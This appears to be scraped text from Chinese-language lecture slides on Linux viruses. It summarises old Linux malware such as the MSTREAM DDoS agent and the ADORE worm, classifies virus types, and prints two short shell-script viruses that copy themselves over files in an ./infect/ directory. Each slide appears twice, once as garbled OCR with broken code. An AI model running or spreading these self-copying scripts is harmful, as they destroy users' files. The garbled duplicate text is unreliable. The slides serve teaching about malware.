MSTREAM MST: A DDoS agent. It will open TCP port 6732 and UDP port 9325 Create master and server files ADORE.A: A internet worm. Overwrite /bin/ps. VExecutes ICMP, and opens port 65535. BIND, wu-ftpd, rpc statd, Ipd CHEESE.A: Include""shell script, ChEese perl script, and PSM ELF. Shell script GO runs perl script CHEESE. Delete all/bin/sh in /etc/inetd. conf close inetd QUASI: It will infect elF files in the current directory. It has no destructiveness PASS: It is writed by Gnu C. It will change Unix shell
• MSTREAM.MST : A DDoS agent. It will open TCP port 6732 and UDP port 9325. Create master and server files. • ADORE.A: A internet worm. Overwrite /bin/ps.VExecutes ICMP, and opens port 65535. BIND, wu-ftpd, rpc.statd, lpd. • CHEESE.A: Include "GO" shell script, CHEESE“ perl script, and “PSM” ELF.shell script GO runs perl script CHEESE. Delete all /bin/sh in /etc/inetd.conf. Close inetd. • QUASI: It will infect ELF files in the current directory. It has no destructiveness. • PASS: It is writed by GNU C. It will change Unix shell
Linux病毒分类 第一种:Shel脚本病毒 第二种:蠕虫病毒 第三种:欺骗库函数 第四种:内核级的传播 第五种:与平台兼容的病毒
Virus Threats on Linux Environment Triple Linux病毒分类 • 第一种: Shell脚本病毒 • 第二种: 蠕虫病毒 • 第三种: 欺骗库函数 • 第四种: 内核级的传播 • 第五种: 与平台兼容的病毒
Linux系统下的脚本病毒 she不同的 Linux系统上面的差别很小。 Shel1单易学
Linux系统下的脚本病毒 • shell在不同的Linux系统上面的差别很小。 • Shell简单易学
第一,最原始的shel病毒 #shellvirus l#f for file in infect/k cp so Sfile done
第一,最原始的shell病毒。 • #shellvirus I# • for file in ./infect/* • do • cp $0 $file • done
第二,一个简单的Shel病毒 # shellyirusⅡ# for file in /infect/* if test -f$fie#判断是否为文件 if test-x Sfile #判断是否可执行 · if test-w$fle #判断是否有写权限 if grep- s sh Sfile>mmm#判断是否为脚本文件 cp $O Sfile #覆盖当前文件 ffff done rm mmm -f
第二,一个简单的Shell病毒 • #shellvirus II# • for file in ./infect/* • do • if test -f $file #判断是否为文件 • then • if test -x $file #判断是否可执行 • then • if test -w $file #判断是否有写权限 • then • if grep –s sh $file > .mmm #判断是否为脚本文件 • then • cp $0 $file #覆盖当前文件 • fi • fi • fi • fi • done • rm .mmm -f